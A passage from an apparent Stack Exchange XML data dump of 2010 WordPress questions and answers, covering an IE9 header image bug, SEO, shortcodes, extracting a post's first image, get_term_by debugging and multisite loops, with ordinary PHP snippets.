&quot;less&quot;, &quot;lest&quot;, &quot;let&quot;, &quot;let's&quot;, &quot;like&quot;, &quot;liked&quot;, &quot;likely&quot;, &quot;likewise&quot;, &quot;little&quot;, &quot;look&quot;, &quot;looking&quot;, &quot;looks&quot;, &quot;low&quot;, &quot;lower&quot;, &quot;ltd&quot;, &quot;m&quot;, &quot;made&quot;, &quot;mainly&quot;, &quot;make&quot;, &quot;makes&quot;, &quot;many&quot;, &quot;may&quot;, &quot;maybe&quot;, &quot;mayn't&quot;, &quot;me&quot;, &quot;mean&quot;, &quot;meantime&quot;, &quot;meanwhile&quot;, &quot;merely&quot;, &quot;might&quot;, &quot;mightn't&quot;, &quot;mine&quot;, &quot;minus&quot;, &quot;miss&quot;, &quot;more&quot;, &quot;moreover&quot;, &quot;most&quot;, &quot;mostly&quot;, &quot;mr&quot;, &quot;mrs&quot;, &quot;much&quot;, &quot;must&quot;, &quot;mustn't&quot;, &quot;my&quot;, &quot;myself&quot;, &quot;n&quot;, &quot;name&quot;, &quot;namely&quot;, &quot;nd&quot;, &quot;near&quot;, &quot;nearly&quot;, &quot;necessary&quot;, &quot;need&quot;, &quot;needn't&quot;, &quot;needs&quot;, &quot;neither&quot;, &quot;never&quot;, &quot;neverf&quot;, &quot;neverless&quot;, &quot;nevertheless&quot;, &quot;new&quot;, &quot;next&quot;, &quot;nine&quot;, &quot;ninety&quot;, &quot;no&quot;, &quot;nobody&quot;, &quot;non&quot;, &quot;none&quot;, &quot;nonetheless&quot;, &quot;noone&quot;, &quot;no-one&quot;, &quot;nor&quot;, &quot;normally&quot;, &quot;not&quot;, &quot;nothing&quot;, &quot;notwithstanding&quot;, &quot;novel&quot;, &quot;now&quot;, &quot;nowhere&quot;, &quot;o&quot;, &quot;obviously&quot;, &quot;of&quot;, &quot;off&quot;, &quot;often&quot;, &quot;oh&quot;, &quot;ok&quot;, &quot;okay&quot;, &quot;old&quot;, &quot;on&quot;, &quot;once&quot;, &quot;one&quot;, &quot;ones&quot;, &quot;one's&quot;, &quot;only&quot;, &quot;onto&quot;, &quot;opposite&quot;, &quot;or&quot;, &quot;other&quot;, &quot;others&quot;, &quot;otherwise&quot;, &quot;ought&quot;, &quot;oughtn't&quot;, &quot;our&quot;, &quot;ours&quot;, &quot;ourselves&quot;, &quot;out&quot;, &quot;outside&quot;, &quot;over&quot;, &quot;overall&quot;, &quot;own&quot;, &quot;p&quot;, &quot;particular&quot;, &quot;particularly&quot;, &quot;past&quot;, &quot;per&quot;, &quot;perhaps&quot;, &quot;placed&quot;, &quot;please&quot;, &quot;plus&quot;, &quot;possible&quot;, &quot;presumably&quot;, &quot;probably&quot;, &quot;provided&quot;, &quot;provides&quot;, &quot;q&quot;, &quot;que&quot;, &quot;quite&quot;, &quot;qv&quot;, &quot;r&quot;, &quot;rather&quot;, &quot;rd&quot;, &quot;re&quot;, &quot;really&quot;, &quot;reasonably&quot;, &quot;recent&quot;, &quot;recently&quot;, &quot;regarding&quot;, &quot;regardless&quot;, &quot;regards&quot;, &quot;relatively&quot;, &quot;respectively&quot;, &quot;right&quot;, &quot;round&quot;, &quot;s&quot;, &quot;said&quot;, &quot;same&quot;, &quot;saw&quot;, &quot;say&quot;, &quot;saying&quot;, &quot;says&quot;, &quot;second&quot;, &quot;secondly&quot;, &quot;see&quot;, &quot;seeing&quot;, &quot;seem&quot;, &quot;seemed&quot;, &quot;seeming&quot;, &quot;seems&quot;, &quot;seen&quot;, &quot;self&quot;, &quot;selves&quot;, &quot;sensible&quot;, &quot;sent&quot;, &quot;serious&quot;, &quot;seriously&quot;, &quot;seven&quot;, &quot;several&quot;, &quot;shall&quot;, &quot;shan't&quot;, &quot;she&quot;, &quot;she'd&quot;, &quot;she'll&quot;, &quot;she's&quot;, &quot;should&quot;, &quot;shouldn't&quot;, &quot;since&quot;, &quot;six&quot;, &quot;so&quot;, &quot;some&quot;, &quot;somebody&quot;, &quot;someday&quot;, &quot;somehow&quot;, &quot;someone&quot;, &quot;something&quot;, &quot;sometime&quot;, &quot;sometimes&quot;, &quot;somewhat&quot;, &quot;somewhere&quot;, &quot;soon&quot;, &quot;sorry&quot;, &quot;specified&quot;, &quot;specify&quot;, &quot;specifying&quot;, &quot;still&quot;, &quot;sub&quot;, &quot;such&quot;, &quot;sup&quot;, &quot;sure&quot;, &quot;t&quot;, &quot;take&quot;, &quot;taken&quot;, &quot;taking&quot;, &quot;tell&quot;, &quot;tends&quot;, &quot;th&quot;, &quot;than&quot;, &quot;thank&quot;, &quot;thanks&quot;, &quot;thanx&quot;, &quot;that&quot;, &quot;that'll&quot;, &quot;thats&quot;, &quot;that's&quot;, &quot;that've&quot;, &quot;the&quot;, &quot;their&quot;, &quot;theirs&quot;, &quot;them&quot;, &quot;themselves&quot;, &quot;then&quot;, &quot;thence&quot;, &quot;there&quot;, &quot;thereafter&quot;, &quot;thereby&quot;, &quot;there'd&quot;, &quot;therefore&quot;, &quot;therein&quot;, &quot;there'll&quot;, &quot;there're&quot;, &quot;theres&quot;, &quot;there's&quot;, &quot;thereupon&quot;, &quot;there've&quot;, &quot;these&quot;, &quot;they&quot;, &quot;they'd&quot;, &quot;they'll&quot;, &quot;they're&quot;, &quot;they've&quot;, &quot;thing&quot;, &quot;things&quot;, &quot;think&quot;, &quot;third&quot;, &quot;thirty&quot;, &quot;this&quot;, &quot;thorough&quot;, &quot;thoroughly&quot;, &quot;those&quot;, &quot;though&quot;, &quot;three&quot;, &quot;through&quot;, &quot;throughout&quot;, &quot;thru&quot;, &quot;thus&quot;, &quot;till&quot;, &quot;to&quot;, &quot;together&quot;, &quot;too&quot;, &quot;took&quot;, &quot;toward&quot;, &quot;towards&quot;, &quot;tried&quot;, &quot;tries&quot;, &quot;truly&quot;, &quot;try&quot;, &quot;trying&quot;, &quot;t's&quot;, &quot;twice&quot;, &quot;two&quot;, &quot;u&quot;, &quot;un&quot;, &quot;under&quot;, &quot;underneath&quot;, &quot;undoing&quot;, &quot;unfortunately&quot;, &quot;unless&quot;, &quot;unlike&quot;, &quot;unlikely&quot;, &quot;until&quot;, &quot;unto&quot;, &quot;up&quot;, &quot;upon&quot;, &quot;upwards&quot;, &quot;us&quot;, &quot;use&quot;, &quot;used&quot;, &quot;useful&quot;, &quot;uses&quot;, &quot;using&quot;, &quot;usually&quot;, &quot;v&quot;, &quot;value&quot;, &quot;various&quot;, &quot;versus&quot;, &quot;very&quot;, &quot;via&quot;, &quot;viz&quot;, &quot;vs&quot;, &quot;w&quot;, &quot;want&quot;, &quot;wants&quot;, &quot;was&quot;, &quot;wasn't&quot;, &quot;way&quot;, &quot;we&quot;, &quot;we'd&quot;, &quot;welcome&quot;, &quot;well&quot;, &quot;we'll&quot;, &quot;went&quot;, &quot;were&quot;, &quot;we're&quot;, &quot;weren't&quot;, &quot;we've&quot;, &quot;what&quot;, &quot;whatever&quot;, &quot;what'll&quot;, &quot;what's&quot;, &quot;what've&quot;, &quot;when&quot;, &quot;whence&quot;, &quot;whenever&quot;, &quot;where&quot;, &quot;whereafter&quot;, &quot;whereas&quot;, &quot;whereby&quot;, &quot;wherein&quot;, &quot;where's&quot;, &quot;whereupon&quot;, &quot;wherever&quot;, &quot;whether&quot;, &quot;which&quot;, &quot;whichever&quot;, &quot;while&quot;, &quot;whilst&quot;, &quot;whither&quot;, &quot;who&quot;, &quot;who'd&quot;, &quot;whoever&quot;, &quot;whole&quot;, &quot;who'll&quot;, &quot;whom&quot;, &quot;whomever&quot;, &quot;who's&quot;, &quot;whose&quot;, &quot;why&quot;, &quot;will&quot;, &quot;willing&quot;, &quot;wish&quot;, &quot;with&quot;, &quot;within&quot;, &quot;without&quot;, &quot;wonder&quot;, &quot;won't&quot;, &quot;would&quot;, &quot;wouldn't&quot;, &quot;x&quot;, &quot;y&quot;, &quot;yes&quot;, &quot;yet&quot;, &quot;you&quot;, &quot;you'd&quot;, &quot;you'll&quot;, &quot;your&quot;, &quot;you're&quot;, &quot;yours&quot;, &quot;yourself&quot;, &quot;yourselves&quot;, &quot;you've&quot;, &quot;z&quot;, &quot;zero&quot;);&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-29T14:17:41.997" Title="How to customize this automatic slug shortener with an overrwrite function" Tags="&lt;admin&gt;&lt;slug&gt;&lt;overridable-functions&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="1932" PostTypeId="1" CreationDate="2010-09-17T14:05:49.100" Score="1" ViewCount="1068" Body="&lt;p&gt;Just loaded IE9.  Looks good.  Impressive stats on what works on IE9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that does not work.  On any site that uses Twenty Ten, the default graphic is shifted to the right and is only partly visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw no resolution, just a bunch of opinions at wordpres.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone actually know if this an IE9 problem or a WordPress problem?  And is there a solution.  I've tried other themes and they seem to work fine.&lt;/p&gt;&#xA;" OwnerUserId="445" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-17T16:15:28.630" LastActivityDate="2010-10-13T09:03:08.460" Title="How to fix the IE9/WordPress Twenty Ten Header Image Display Problem?" Tags="&lt;3.0.1&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1933" PostTypeId="1" AcceptedAnswerId="1941" CreationDate="2010-09-17T15:12:14.503" Score="2" ViewCount="129" Body="&lt;p&gt;Would there be any negative SEO effects for having a wordpress website at example.com and having another website at example.com/anothersite?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Would the site &quot;anothersite&quot; be indexed in search engines (assuming I did all the seo strategies for them)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any negative effects for either site?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="919" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-06T03:36:04.380" LastActivityDate="2010-10-06T03:36:04.380" Title="SEO - Two WordPress websites on same domain name" Tags="&lt;seo&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="1934" PostTypeId="2" ParentId="1932" CreationDate="2010-09-17T16:09:12.573" Score="3" ViewCount="" Body="&lt;p&gt;It is a bug. See WordPress Trac &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14883&quot; rel=&quot;nofollow&quot;&gt;Ticket#14883&lt;/a&gt;.  If you change &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#branding img {display:block;}&lt;/code&gt; to &lt;code&gt;display:inline;&lt;/code&gt; it fixes the image being shifted right but does not fix the white space between the border.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ticket still has not been accepted as a bug but a &lt;a href=&quot;http://core.trac.wordpress.org/attachment/ticket/14883/r15634-header-image-floating.diff&quot; rel=&quot;nofollow&quot;&gt;patch has been submitted&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14883#comment:7&quot; rel=&quot;nofollow&quot;&gt;patch has been accepted&lt;/a&gt; and the IE9 Header image display problem will be fixed in the next release.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-24T21:24:26.867" LastActivityDate="2010-09-24T21:24:26.867" CommentCount="3" />
  <row Id="1935" PostTypeId="2" ParentId="1816" CreationDate="2010-09-17T16:20:13.587" Score="3" ViewCount="" Body="&lt;p&gt;WordPress.com does not allow you to post javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From WordPress.com Support:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Users are not allowed to post JavaScript on WordPress.com blogs. JavaScript can be used for malicious purposes. As an example, JavaScript has taken down sites such as MySpace.com and LiveJournal offline in the past. The security of all the blogs is a top priority and until we can guarantee scripting languages will not be harmful they will not be permitted.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JavaScript from trusted partners, such as YouTube and Google Video, is converted into a WordPress shortcode when a post is saved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-17T16:20:13.587" />
  <row Id="1936" PostTypeId="2" ParentId="1933" CreationDate="2010-09-17T17:09:36.227" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes.&lt;/li&gt;&#xA;&lt;li&gt;It depends.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From search engines point of view it would be one site. If content between two installations is grossly different that likely won't be efficient for combined site outlook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd prefer &lt;code&gt;site1.example.com&lt;/code&gt; and &lt;code&gt;site2.example.com&lt;/code&gt; if hosting two different sites on same domain.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-17T17:09:36.227" CommentCount="2" />
  <row Id="1937" PostTypeId="1" CreationDate="2010-09-17T17:19:17.207" Score="1" ViewCount="74" Body="&lt;p&gt;Anyone knows a way of using shortcodes on terms description? This is possible?&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2010-09-19T11:34:36.230" Title="Use shortcodes in terms description?" Tags="&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="1938" PostTypeId="2" ParentId="1929" CreationDate="2010-09-17T17:20:08.687" Score="2" ViewCount="" Body="&lt;p&gt;This is accomplished by &lt;code&gt;_wp_auto_add_pages_to_menu()&lt;/code&gt; (in &lt;code&gt;\wp-includes\nav-menu.php&lt;/code&gt;) function that is hooked to &lt;code&gt;transition_post_status&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it is hardcoded for &lt;code&gt;page&lt;/code&gt; post type and is not easy to extend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On other hand since it works through generic hook it isn't hard (relatively, menus internal code is pain) to engineer analogue for custom post type.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-17T17:20:08.687" CommentCount="4" />
  <row Id="1939" PostTypeId="2" ParentId="1937" CreationDate="2010-09-17T17:28:50.853" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure if it's only code that is needed, but Hybrid has this filter mod for such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'term_description', 'do_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work I'll try to go over code more thoroughly.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-17T17:28:50.853" CommentCount="2" />
  <row Id="1940" PostTypeId="1" AcceptedAnswerId="1949" CreationDate="2010-09-17T17:42:07.317" Score="1" ViewCount="770" Body="&lt;p&gt;I have an interesting problem which I am sure someone here can solve. I have gone through a bunch of different plugins and code snippets in search for &lt;em&gt;the perfect code to extract a primary image to be associated with a post&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the new WP 3.0 featured image element is used then there is of course no issue but there are a bunch of situations where a post may not have a &quot;featured image&quot; assigned. In these situations if you were to use the standard code of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo the_post_thumbnail( array(200,200) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your template... nothing is going to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For these type of situations I am looking for the perfect solution. Essentially, what I need is the ability to have a type of &quot;failover&quot; when the_post_thumbnail does not exist but I also still need the ability to set the image size just like I can with the code from the_post_thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &quot;failover&quot; I believe should have two steps to it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check the &quot;Media Gallery&quot; for this post and locate the image with the highest sort order (or added post parent as shown in the plugin below)&lt;/li&gt;&#xA;&lt;li&gt;If no sort order is set or if blank then extract the first image from the post content.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The good news is that for the two points above I seem to have found two separate snips of code which take care of these requests individually (copied below for review) however nothing which combines all three of these elements in one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to recap:&#xA;Instead of doing a bunch of if/then calls to check if a post thumbnail exists and then running a check against the code below I was hoping that someone might be able to provide a clean/combined function which would allow me to echo a single function along with size variables which can achieve all three these goals as mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HERE ARE THE BITS OF CODE MENTIONED ABOVE:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FOR #1: Get the First Image based off the order from the Media Gallery:&lt;/strong&gt;&#xA;This code works by first looking for any attachments in the wp_posts database table that have a “post_parent” ID that matches the current post and as a second step for posts with multiple image attachments, returning the attachment with its “menu_order” field set to “1″. If no image attachments match the current post ID, the plugin returns “false”.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// AUTOMATICALLY EXTRACT IMAGES BASED ON ASSOCIATED GALLERY ORDER&#xA;// THIS CODE EXTRACTS THE FIRST IMAGE BASED ON THE ORDER IN THE MEDIA GALLERY&#xA;// PLUGIN FROM: http://mekosh.org/projects/ordered-thumbnails&#xA;   function ordered_thumbnails( $display = 'true', $class='' ) {&#xA;    global $post;&#xA;    // get all image attachments for this post&#xA;    $images = get_children( array( 'post_type' =&amp;gt; 'attachment', 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_mime_type' =&amp;gt; 'image', order=&amp;gt;&quot;asc&quot; ) );&#xA;    // if the post has image attachments&#xA;    if( $images !== false ) {&#xA;        // find the image in position 1&#xA;        foreach($images as $i) {&#xA;            if ( $i-&amp;gt;menu_order == 1 ) {&#xA;                $img_id = $i-&amp;gt;ID;&#xA;            }&#xA;        }&#xA;        // if the images were unordered&#xA;        if ( $img_id == '' ) {&#xA;            $i = array_slice( $images, 0, 1 );&#xA;            $img_id = $i[0]-&amp;gt;ID;&#xA;        }&#xA;        // get image data&#xA;        $image = wp_get_attachment_image_src( $img_id, 'thumbnail' );&#xA;        $result = array(&#xA;            'url'       =&amp;gt; $image[0],&#xA;            'width' =&amp;gt; $image[1],&#xA;            'height'    =&amp;gt; $image[2]&#xA;        );&#xA;        // should the image be displayed or should data be returned as an array?&#xA;        if ( $display == 'true' ) {&#xA;            return _e( '&amp;lt;img src=&quot;'.$result['url'].'&quot; width=&quot;'.$result['width'].'&quot; height=&quot;'.$result['height'].'&quot; class=&quot;'.$class.'&quot; /&amp;gt;' );&#xA;        } else {&#xA;            return $result;&#xA;        }&#xA;    } else {&#xA;        // post does not have any image attachments&#xA;        return (bool) false;&#xA;    }&#xA;   }&#xA;// create template tag &quot;ordered_thumbnails&quot;&#xA;   add_action( 'ordered_thumbnails', 'ordered_thumbnails', 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FOR #2: Extract the first image from the post content&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// THIS CODE GETS THE FIRST IMAGE EXTRACTED DIRECTLY FROM THE POST CONTENT&#xA;&#xA;    function bm_extract_string($start, $end, $original) {&#xA;    $original = stristr($original, $start);&#xA;    $trimmed = stristr($original, $end);&#xA;    return substr($original, strlen($start), -strlen($trimmed));&#xA;    }&#xA;    function getFirstImage() {&#xA;    $content = get_the_content();&#xA;    $pic_string = bm_extract_string('src=&quot;','&quot; ',$content);&#xA;    $imagesize = getimagesize($pic_string);&#xA;    list($width, $height, $type, $attr) = getimagesize($pic_string);&#xA;    $link = get_permalink();&#xA;    $title = get_the_title($post-&amp;gt;post_title);&#xA;    echo '&amp;lt;a href=&quot;'.$link.'&quot; style=&quot;background:url('.$pic_string.'); display:block; width:'.$width.'px; height:'.$height.'px;&quot; title=&quot;'.$title.'&quot;&amp;gt;&amp;lt;/a&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-09-17T18:01:32.823" LastActivityDate="2010-09-17T23:28:29.960" Title="Extract &amp; Display the REAL first image attached to a post - extend the_post_thumbnail()" Tags="&lt;customization&gt;&lt;images&gt;&lt;image&gt;&lt;overridable-functions&gt;&lt;image-size&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" />
  <row Id="1941" PostTypeId="2" ParentId="1933" CreationDate="2010-09-17T17:46:49.740" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes&lt;/li&gt;&#xA;&lt;li&gt;Whatever negative means to you. I tend to say not more then with a single site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The search engine will basically spoken not differ between one or more sites. The spider is just indexing pages not sites. So this can have positive effects while the content of one site pulls / pushes the URLs of contents of the other one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the arrangement of the sites in URLs on that domain (URL Layout) and it's contents will have the SE influence, not the number of sites you run on the domain.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-17T17:46:49.740" CommentCount="1" />
  <row Id="1942" PostTypeId="2" ParentId="1931" CreationDate="2010-09-17T17:57:03.303" Score="0" ViewCount="" Body="&lt;p&gt;This is just a first idea: Check if it is the AJAX request.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( defined( 'DOING_AJAX' ) &amp;amp;&amp;amp; DOING_AJAX ) &#xA;    return $slug;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (&#xA;       isset( $_POST['action'] ) &#xA;       &amp;amp;&amp;amp; 'sample-permalink' === $_POST['action']&#xA;   ) return $slug;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;depending on the level of detail you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you put this in the beginning of the function (maybe below the first test &lt;code&gt;if ($slug) return $slug;&lt;/code&gt; then the function should just quit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to filter that input as well, for the AJAX request, you need to retrieve it from &lt;code&gt;$_POST['new_title']&lt;/code&gt; instead of &lt;code&gt;$_POST['post_title']&lt;/code&gt;. That's the reason why it deletes your input via AJAX editing.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-17T17:57:03.303" CommentCount="1" />
  <row Id="1943" PostTypeId="2" ParentId="1940" CreationDate="2010-09-17T17:59:17.303" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@NetConstructor,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function will not solve all your issues but I thought it would help.  It gets the first image attached to a post and adds the medium sized image to &lt;code&gt;the_content&lt;/code&gt;  If no sort order is set it will get the image with the &quot;0&quot; sort order.  It does not extract anything from the post content and if the image is in the post content it will be displayed 2 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used it for a client who had trouble inserting images in posts.  With this function he only has to click the &quot;add media&quot; button, upload the image and click save without having to &quot;insert&quot; it.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_image($size = 'medium' , $class = ”){&#xA;global $post;&#xA;&#xA;//setup the attachment array&#xA;$att_array = array(&#xA;'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;'post_type' =&amp;gt; 'attachment',&#xA;'post_mime_type' =&amp;gt; 'image',&#xA;'order_by' =&amp;gt; 'menu_order'&#xA;);&#xA;&#xA;//get the post attachments&#xA;$attachments = get_children($att_array);&#xA;&#xA;//make sure there are attachments&#xA;if (is_array($attachments)){&#xA;//loop through them&#xA;foreach($attachments as $att){&#xA;//find the one we want based on its characteristics&#xA;if ( $att-&amp;gt;menu_order == 0){&#xA;$image_src_array = wp_get_attachment_image_src($att-&amp;gt;ID, $size);&#xA;&#xA;//get url – 1 and 2 are the x and y dimensions&#xA;$url = $image_src_array[0];&#xA;$caption = $att-&amp;gt;post_excerpt;&#xA;$image_html = '&amp;lt;img src=&quot;%s&quot; alt=&quot;%s&quot; /&amp;gt;';&#xA;&#xA;//combine the data&#xA;$html = sprintf($image_html,$url,$caption,$class);&#xA;&#xA;//echo the result&#xA;echo $html;&#xA;}&#xA;}&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-17T17:59:17.303" CommentCount="1" />
  <row Id="1944" PostTypeId="2" ParentId="1940" CreationDate="2010-09-17T18:07:47.787" Score="2" ViewCount="" Body="&lt;p&gt;I suggest to check out &lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;Get the Image&lt;/a&gt; plugin. Basically it is single function that acts as flexible and configurable wrapper to mine posts for images via different methods (post meta fields, featured images, attached images, images in post body).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-17T18:07:47.787" />
  <row Id="1945" PostTypeId="1" AcceptedAnswerId="1946" CreationDate="2010-09-17T18:24:31.287" Score="0" ViewCount="344" Body="&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($wp-&amp;gt;query_vars);&#xA;echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;.get_query_var('term');&#xA;echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;.get_query_var('taxonomy');&#xA;$term = get_term_by('slug', get_query_var('term'), get_query_var('taxonomy') );&#xA;echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;$term&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [titles] =&amp;gt; windows-powershell-v2 [taxonomy] =&amp;gt; titles [term] =&amp;gt; windows-powershell-v2 ) &#xA;&#xA;windows-powershell-v2&#xA;&#xA;titles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the first three lines run fine. The fourth line fails with no error - but it terminates page execution. The specified term does indeed exist in the taxonomy; this is being reached with the URL /titles/windows-powershell-v2/. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="757" LastActivityDate="2010-09-17T18:38:47.370" Title="get_term_by seems to be failing" Tags="&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="1946" PostTypeId="2" ParentId="1945" CreationDate="2010-09-17T18:38:47.370" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_by&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_term_by()&lt;/code&gt;&lt;/a&gt; returns object by default. Which should end up in &lt;code&gt;Catchable fatal error: Object of class stdClass could not be converted to string&lt;/code&gt; if you try to echo it. Likely you have errors suppressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;var_dump( $term );&lt;/code&gt; instead of &lt;code&gt;echo&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-17T18:38:47.370" CommentCount="2" />
  <row Id="1947" PostTypeId="1" AcceptedAnswerId="1968" CreationDate="2010-09-17T19:16:57.730" Score="0" ViewCount="140" Body="&lt;p&gt;I use WordPress a ton, but I'm somewhat new to multisite. Now that 3.0 has brought multisite into the main core, shouldn't there be an easy loop function that allows you to display the most recent posts from across your network, in a loop, for me to output in PHP as I want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know if this exists and I'm just missing it?&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2010-09-19T13:31:16.607" Title="In WordPress 3.x, I can't access posts from all blogs in the network" Tags="&lt;3.0&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="1948" PostTypeId="1" AcceptedAnswerId="1953" CreationDate="2010-09-17T19:38:45.627" Score="2" ViewCount="265" Body="&lt;p&gt;In WP theme building, if a sidebar is not active, can I turn it on? Also, if the sidebar is active, and doesn't contain any widgets, can I add some?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a theme and plugin developer, but this is something I haven't learned to do yet.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2010-09-18T06:53:45.417" Title="Enabling Widgets By Default in Custom Theme Development" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" FavoriteCount="2" />
